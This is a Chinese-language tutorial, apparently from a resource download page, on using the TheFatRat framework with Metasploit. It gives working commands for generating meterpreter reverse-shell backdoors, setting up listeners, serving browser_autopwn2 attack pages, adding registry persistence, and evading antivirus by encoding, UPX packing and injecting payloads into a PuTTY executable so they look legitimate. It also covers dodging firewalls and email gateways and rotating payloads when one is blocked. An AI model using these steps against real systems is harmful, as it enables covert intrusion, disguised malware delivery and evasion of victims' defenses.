简介这是一套面向安全研究与渗透测试学习者的漏洞利用工具集合核心为 TheFatRat 框架可帮助使用者快速生成后门载荷、发起浏览器攻击等常见渗透测试任务适合具备一定 Linux 与网络安全基础的中高级学习者用于授权环境下的攻防演练与工具原理研究。压缩包共 255 个文件约 126.48MB文件类型丰富85 个 C 头文件与 30 个 so 动态库构成底层依赖14 个 jar 与 4 个 py 脚本承载主要功能逻辑另有 apk、sh、md 等文件分别对应安卓载荷、执行脚本与说明文档目录结构完整。目前已有 119 人学习下载。资源内含完整的工具链与依赖组件读者可借此了解后门生成、载荷打包与浏览器攻击的实现流程掌握工具配置与排错思路为安全测试与漏洞研究提供可复用的参考素材。1. Thefatrat 到底能做什么从“一键后门”到浏览器攻击的完整链路如果你在渗透测试或红队演练中需要快速生成一个能绕过常见检测的载荷同时又要配套一个浏览器攻击的投递页面Thefatrat 大概率是你绕不开的工具。它把 msfvenom、meterpreter、各类持久化脚本和钓鱼页面打包成菜单式操作让“生成后门”这件事从手动拼命令变成选数字。但很多人第一次跑完./fatrat就卡在“生成的 payload 为什么被杀软秒删”或者“浏览器攻击页面怎么挂到目标能访问的地方”。这篇笔记不讨论它是不是“巨大漏洞利用工具”这种营销话术只拆解三件事它生成的后门到底怎么工作、浏览器攻击的投递链路怎么搭、以及哪些参数不调就会翻车。适合已经会用 msfconsole 基本命令、想把手动流程自动化的从业者也适合刚接触红队工具链、需要理解“后门从生成到上线”完整路径的新手。2. 后门生成的核心机制与最小可复现命令2.1 Thefatrat 的菜单背后调了什么Thefatrat 本身不是漏洞利用框架它更像一个 shell 脚本编排器。你选“Create Backdoor”时它实际执行的是msfvenom加一段预设的编码和输出格式你选“Browser Attack”时它生成一个 HTML 页面里面嵌了 Metasploit 的browser_autopwn或类似模块的调用逻辑。理解这一点很重要因为一旦生成失败你直接去看它调用的原始命令比在菜单里反复试要快得多。常见做法是先确认本机装了 Metasploit Framework并且msfvenom在 PATH 里。Thefatrat 的脚本会检查msfconsole和msfvenom是否存在但不会帮你装。我一般会先跑一条最小命令验证环境which msfvenom msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -f exe -o /tmp/test.exe这条命令不经过 Thefatrat直接生成一个 Windows 后门。如果这一步就报错比如msfvenom: command not found或者Error: The payload is not valid那 Thefatrat 里选任何选项都会失败。参数说明-p指定 payloadLHOST是你控制端的 IPLPORT是监听端口-f exe输出 Windows 可执行文件-o指定输出路径。生成成功后再进 Thefatrat 菜单心里就有底了。2.2 用 Thefatrat 生成后门的完整操作步骤启动 Thefatrat 需要 root 权限因为它要写/opt或当前目录下的输出文件有时还要改文件权限。我一般这样跑git clone https://github.com/Screetsec/TheFatRat.git cd TheFatRat chmod x setup.sh ./setup.sh ./fatratsetup.sh会装依赖、编译一些辅助工具过程可能比较久。跑完后./fatrat进入主菜单。选1进入“Create Backdoor”然后选 payload 类型。以windows/meterpreter/reverse_tcp为例它会依次问你 LHOST、LPORT、输出文件名。填完后它会在当前目录生成一个.exe同时打印出对应的msfconsole监听命令。这里有个细节Thefatrat 生成的监听命令通常是use exploit/multi/handler加set PAYLOAD windows/meterpreter/reverse_tcp但有时它会把 payload 写成windows/meterpreter/reverse_tcp而监听端忘了改导致连不上。我习惯生成后手动核对一遍msfconsole -q -x use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.10; set LPORT 4444; exploit -j-q是安静模式-x是执行完命令后进入交互。exploit -j让监听在后台跑。这样后门在目标机器执行后你这边就能拿到 session。如果没拿到先看目标机器有没有杀软拦截再看网络能不能通到你的 LHOST。2.3 浏览器攻击页面的生成与投递逻辑Thefatrat 的“Browser Attack”选项生成的是一个 HTML 文件里面通常嵌了 Metasploit 的browser_autopwn2或者一个 iframe 指向你的 Metasploit 监听地址。它的思路是目标用浏览器打开这个页面页面里的 JavaScript 尝试触发浏览器漏洞然后下载并执行后门。但这里有个现实问题现代浏览器对自动下载和执行的拦截非常严格所以这个链路在真实环境里成功率取决于目标浏览器版本和你的 Metasploit 模块是否匹配。生成步骤主菜单选2或类似“Browser Attack”选项输入你的 LHOST 和 LPORT它会输出一个 HTML 文件。你需要把这个文件放到目标能访问的 Web 服务上。我一般用 Python 起一个临时服务python3 -m http.server 8080 --directory /path/to/html然后让目标访问http://你的IP:8080/生成的页面.html。同时 Metasploit 那边要跑对应的browser_autopwn2模块msfconsole -q -x use auxiliary/server/browser_autopwn2; set LHOST 192.168.1.10; set LPORT 4444; set SRVHOST 0.0.0.0; set SRVPORT 8080; run注意SRVPORT不要和你 Python 的 8080 冲突要么改 Python 端口要么改 Metasploit 的。参数说明SRVHOST 0.0.0.0表示监听所有网卡SRVPORT是 Metasploit 自己起的 Web 服务端口。如果目标访问后没反应先看 Metasploit 控制台有没有打印“Browser Autopwn”相关的请求日志再看目标浏览器版本是否在模块支持列表里。3. 后门持久化与免杀参数怎么调才不翻车3.1 持久化模块的选择与注册表写入Thefatrat 菜单里有“Create Persistence”选项它实际调用的是 Metasploit 的persistence脚本或者直接写注册表启动项。常见做法是拿到 session 后在 meterpreter 里跑run persistence -U -i 10 -p 4444 -r 192.168.1.10-U表示用户登录时启动-i 10是每 10 秒重连一次-p和-r是端口和 IP。这个命令会在目标机器写一个 VBS 脚本到启动目录或注册表HKCU\Software\Microsoft\Windows\CurrentVersion\Run。但很多杀软会监控这个注册表键所以直接跑容易被拦。我一般会先看目标机器有没有杀软再决定用-U还是-S系统启动时启动需要管理员权限。Thefatrat 的持久化选项有时会生成一个独立的.exe让你手动投递有时直接在 session 里跑脚本。如果你选的是生成独立文件记得那个文件本身也要免杀否则重启后杀软直接删掉持久化就断了。3.2 免杀不是改扩展名编码与加壳的实际效果Thefatrat 提供了一些“免杀”选项比如用msfvenom的-e指定编码器或者用upx加壳。但血泪经验是这些手段对现代杀软基本无效。-e x86/shikata_ga_nai这种编码器只能绕过基于特征码的旧引擎对行为检测和云查杀没用。我一般会这样组合msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -e x86/shikata_ga_nai -i 5 -f exe -o /tmp/encoded.exe upx -9 /tmp/encoded.exe -o /tmp/packed.exe-i 5是编码次数upx -9是最高压缩加壳。但注意UPX 加壳后的文件反而可能被某些杀软标记为“可疑壳”因为正常软件很少用 UPX。更稳的做法是改 payload 的模板比如用-x指定一个正常的可执行文件作为模板把 payload 注入进去msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.1.10 LPORT4444 -x /path/to/putty.exe -f exe -o /tmp/injected.exe这样生成的文件看起来像 PuTTY但实际会连你的监听。参数说明-x是模板文件必须是合法的 PE 文件。如果模板文件本身被杀软信任注入后的文件通过率会高一些。但这不是万能的行为检测还是会抓 meterpreter 的网络连接特征。3.3 监听端参数与网络层注意事项后门能不能上线一半看生成一半看监听。我见过太多人生成完 payload 直接双击结果连不上原因是 LHOST 填了127.0.0.1或者填了公网 IP 但目标在内网。正确做法是LHOST 填目标能访问到的你的 IP。如果目标和你不在同一网段你需要确保路由可达或者用端口转发把流量导到你机器上。监听端我一般用multi/handler并且会开ExitOnSession false让监听持续跑msfconsole -q -x use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit -jLHOST 0.0.0.0表示监听所有网卡这样不管目标从哪个网段来都能接。ExitOnSession false保证一个 session 断了之后监听还在不用重新跑。如果目标机器有防火墙出站 4444 端口可能被封那就换 80 或 443这两个端口通常不会被拦。4. 浏览器攻击投递链路的避坑与排查4.1 目标浏览器不触发漏洞版本与模块匹配现象目标打开了你的 HTML 页面但 Metasploit 控制台没有任何反应也没有 session。原因通常是目标浏览器版本太新browser_autopwn2里的漏洞模块不支持。比如 Chrome 从某个版本开始默认禁用 NPAPI很多老漏洞直接失效。解决先收集目标浏览器版本再在 Metasploit 里search browser看哪些模块支持该版本。如果都不支持浏览器攻击这条路基本走不通得换钓鱼附件或社会工程学。4.2 页面加载了但后门没下载混合内容拦截现象页面能打开Metasploit 也收到了请求但后门文件没有下载到目标机器。原因可能是你的页面是 HTTPS但后门下载链接是 HTTP浏览器拦截了混合内容。解决要么全用 HTTP要么全用 HTTPS。我一般用 HTTP 起临时服务因为配证书太麻烦。另外现代浏览器对.exe下载会弹窗确认目标不点“保留”就不会执行。4.3 杀软拦截后门下载文件信誉与签名现象后门文件下载到目标机器后立刻被删除或者执行时弹窗“已阻止”。原因是文件没有数字签名且哈希值在杀软云库里。解决不要直接用msfvenom生成的原始文件用模板注入加壳或者用veil之类的工具做二次处理。但注意任何免杀手段都有时效性今天能过明天可能就被查杀。我一般会准备两三个不同模板的 payload一个被拦就换另一个。4.4 监听端口被占用或防火墙拦截现象msfconsole启动监听时报Address already in use或者目标连不上。原因可能是 4444 端口被其他进程占用或者目标出站被防火墙拦。解决换端口用netstat -tlnp | grep 4444看谁占用了。如果是防火墙换 80 或 443或者用set ReverseListenerBindPort指定其他端口。注意有些企业网络会做深度包检测meterpreter 的默认流量特征可能被识别这时候需要换reverse_https之类的 payload。4.5 Thefatrat 脚本本身的兼容性问题现象./fatrat跑起来后菜单乱码或者选完选项报command not found。原因是 Thefatrat 依赖的一些工具没装全或者你的系统是 Kali 的新版本脚本里的路径变了。解决看它报错的那行命令手动跑一遍缺什么装什么。常见缺的是xterm、apktool、zipalign。如果是乱码export LANGen_US.UTF-8再跑。我一般会直接看fatrat脚本里对应选项调用的原始命令绕过菜单手动执行反而更可控。5. 进阶把 Thefatrat 生成的后门接入 C2 与验证上线Thefatrat 生成的后门默认连 Metasploit 的multi/handler但如果你已经有 C2 框架比如 Cobalt Strike 或 Sliver可以把 payload 改成对应的格式。常见做法是用 Thefatrat 生成一个windows/meterpreter/reverse_https的 payload然后在 C2 里配一个 HTTPS 监听把 payload 里的 LHOST 和 LPORT 改成 C2 的地址。但注意不同 C2 的 payload 格式不通用Thefatrat 只负责调msfvenom所以你得手动改msfvenom的参数。验证上线是否成功我一般用三步第一步在目标机器上tasklist | findstr injected看进程在不在第二步在监听端sessions -l看有没有新 session第三步如果 session 有了但很快断看目标机器有没有杀软弹窗或者网络是不是不稳定。我习惯在生成 payload 后先在本地虚拟机里跑一遍确认能上线再投递到真实目标。这个习惯帮我省了很多“投出去没反应”的后悔药。还有一个技巧Thefatrat 生成的浏览器攻击页面可以改造成“下载页 后门”的组合。比如页面里放一个“点击下载”按钮按钮链接指向你的后门文件同时页面里嵌一个 iframe 触发browser_autopwn2。这样即使浏览器漏洞不触发目标也可能手动下载后门。但注意手动下载的后门需要目标主动执行成功率取决于目标的安全意识。最后说一个我踩过的坑Thefatrat 的某些版本会在生成 payload 时自动加一个-i 3的编码但编码后的文件体积会变大有时会超过目标邮件网关的附件大小限制。如果你要通过邮件投递记得用-i 1或者不加编码先保证能送达再考虑免杀。希望帮到你。本文还有配套的精品资源点击获取